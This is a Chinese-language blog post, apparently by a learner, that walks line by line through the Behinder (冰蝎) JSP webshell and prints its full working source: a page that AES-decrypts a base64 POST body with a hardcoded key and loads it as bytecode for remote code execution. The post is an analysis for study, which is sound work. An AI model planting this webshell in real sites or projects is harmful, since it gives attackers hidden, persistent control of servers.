前言
只是分享一下对冰蝎webshell分析的一个学习过程,冰蝎webshell使用了加载字节码的方式执行恶意代码。
正文
首先打开webshell 这么一行实在不好看,先把他分行吧。
分完行之后,就很清晰明了了。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>
导入了三个依赖,一个是标准库,两个估计用于加密。
然后定义了一个类U,继承自ClassLoader,盲猜是用加载字节码的方式来执行命令,后面实现了g公有函数,函数里调用了defineClass(这可是加载恶意类的关键)
接下来就是主函数的部分。首先判断请求方式是否为POST(它希望是)。定义了一个字符串k,是连接的密钥,注释中有详细说明。
接下来用putValue往session中存入一个键为u,值为密钥的键值对。也就是把密钥存入session的意思(putValue应该和setAttribute功能差不多,百度了一下,发现putValue从servlet版本上被setAttribute代替了)。
接着实例化了一个Cipher类。
javax.crypto.Cipher 类是从jdk1.4就开始引入,所属jdk拓展包Java Cryptographic Extension(JCE)框架 ,该框架主要用于加密解密和密码功能
从它传入的参数得知,c是一个用于AES加密的工具。
(刚开始想跟进去分析Cipher类的代码,但一想,实在没必要,这属于此类的应用场景,那只需要去百度怎么用就好了。。。。给自己无语住了)
接下来执行算法的初始化,c.init(),使用密钥和一组算法参数初始化此密码算法。看一下官方文档,这些api。
opmode是常量。
看回源码这一行。
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
很明显,第一个参数,指定了密码的模式,第二个参数就是一个KEY类的实例,KEY类也很单纯,抛去各种方法,函数,也就是两个变量,一个是密钥,一个是算法名。
模式2是什么,虽然能猜到受控端肯定是解密模式,但是还是在里面看了一下。模式为decryption,解密。
最后一行才是主要部分。
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
嵌套了不少层,从里往外看。首先读取了post包的body部分的首行。
request.getReader().readLine()
然后,使用BASE64解码该行。
new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())
然后调用上面所说的密码工具对其进行AES解密(解密模式在init初始化时由2决定)。
c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))
实例化了一个U类,在构造函数中取得了一个ClassLoader作为父类,来给U调用父类的构造方法。
new U(this.getClass().getClassLoader())
然后调用它的g方法来执行defineClass,也就是加载字节码,参数是上面解密后的内容。然后newInstance实例化(define不会执行任何初始化代码,包括static和constructor)
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance()
到这里就结束了。发送过去的payload形式应当是恶意类的字节码,并且经过AES加密之后再base64编码。
最后
大佬们,请多多留言指正和指导,谢谢大佬们啦。
|